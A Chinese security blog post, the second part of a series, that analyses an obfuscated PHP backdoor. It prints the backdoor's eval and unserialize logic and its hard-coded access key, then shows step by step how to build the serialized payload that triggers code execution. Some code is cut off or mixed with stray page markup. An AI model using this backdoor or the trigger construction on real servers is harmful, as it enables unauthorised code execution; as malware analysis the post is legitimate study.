项目实战 | 记一次对某猥琐PHP后门的爆菊( 二 )
查了下似乎是16进制或Unicode编码 , 双引号情况下可以直接输出其值 。
由于是16进制 , 在单引号包裹的情况下也可以使用chr(hexdec(字符串))进行解码 。
当然 , 我直接打印了所有已定义变量 , 得到如下:
文章插图
脚本所有已定义变量:[a904] => /%2Tu:^61H![0f _VZM#>7q) --tt-darkmode-color: #B83232;"> 发现
敏感函数unserialize //可能需要反序列化操作
其中下标[a904]的值由于存在特殊字符 , 没有显示完全 , 另外如需利用到[a904]的值也要考虑这个问题 , 不能直接输出使用 。
二.触发条件分析当时按顺序读了下功能 , 事后复盘发现 , 可能比较高效的做法是倒序着读 , 顺着最下面的执行逻辑往上去构造条件 。 所以既然重点在eval/*r49557ec*/($vv['d']);
那设法$vv['d']可控就好
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
可以先不考虑x184f5cc(base64_decode($vv), $kk)是怎么来的 ,
我们先直接修改$vv的值 , 看怎样才能满足执行条件 。
if (isset($vv['a'.'k'])echo @serialize($l71c40);}elseif ($vv['a'] == 'e'){eval/*r49557ec*/($vv['d']);}}exit();
后门触发条件:
1.$vv需要是数组2.成员必须存在'ak'且'ak'需等于$c77700426的值 $c77700426的值在上面已有定义:
为'aec7e489-2fbc-4b15-871f-1d686eeb80dc';3.成员需存在'a' , 若值为'i'则输出版本 , 为'e'则触发后门4.后门执行内容为成员'd'的值所以$vv需要等于↓↓
array('ak'=>'aec7e489-2fbc-4b15-871f-1d686eeb80dc','a'=>'e','d'=>'执行代码' //如phpinfo(););.
直接传入试试有没有问题 :
文章插图
可以执行 , 回到上面:
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
那x184f5cc(base64_decode($vv), $kk)的返回值就需要是序列化后的上面我们构造的数组也就是:
那x184f5cc(base64_decode($vv), $kk)的返回值就需要是序列化后的上面我们构造的数组
也就是:
x184f5cc(base64_decode($vv), $kk) 返回值需要等于 a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
看下x184f5cc()函数做了什么操作?
functionx184f5cc($vv, $kk){global $w8fd00d8;global $c77700426;return e664fd(e664fd($vv, $c77700426), $kk);}
1.其中$w8fd00d8相当于$GLOBALS $c77700426是固定值 //'aec7e489-2fbc-4b15-871f-1d686eeb80dc'
2.经过两次核心混淆函数e664fd()的处理 这时候重新理一下:我们必须使e664fd(e664fd($vv, $c77700426), $kk);的 返回结果为 ↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
再来看一下e664fd()函数
functione664fd($vv, $kk){global $w8fd00d8;$n513761 = "";for ($i=0;$i大致功能就是把传入的两个参数值逐个字符转为ASCII码并进行位运算(取反) , 得到的结果以字符串形式返回 。
位取反有个特点: 1.A与B取反=C 2.B与C取反=A 可逆 , B^C当然就得到A了 。
所以回过头看:
我们必须使函数↓↓
e664fd(e664fd($vv, $c77700426), $kk);
的返回结果为 ↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
- 徐福记联手JDL京东物流向数智化转型,首次落地智慧园区项目
- 运动计数开发项目的对抗赛:飞算全自动软件工程平台碾压传统模式
- 最壕“年终奖”出炉!雷军下血本:一次颁发两个百万美金技术大奖
- 有没有必要给老年人买台智能手机?
- 江北新区企业院士工作站技术攻关项目立项数位居南京第一
- 无线网络联盟:Wi-Fi 6E是二十年来最重大的一次升级
- 让35亿人用上5G!美巨头突然宣布,华为这一次也落后了?
- 中国移动又开始了一次奇怪尝试
- 芯片巨头推出5G新品,拿下9个第一次,全球35亿人集体受益
- 赞!盐城高新区4个项目入选省级项目立项!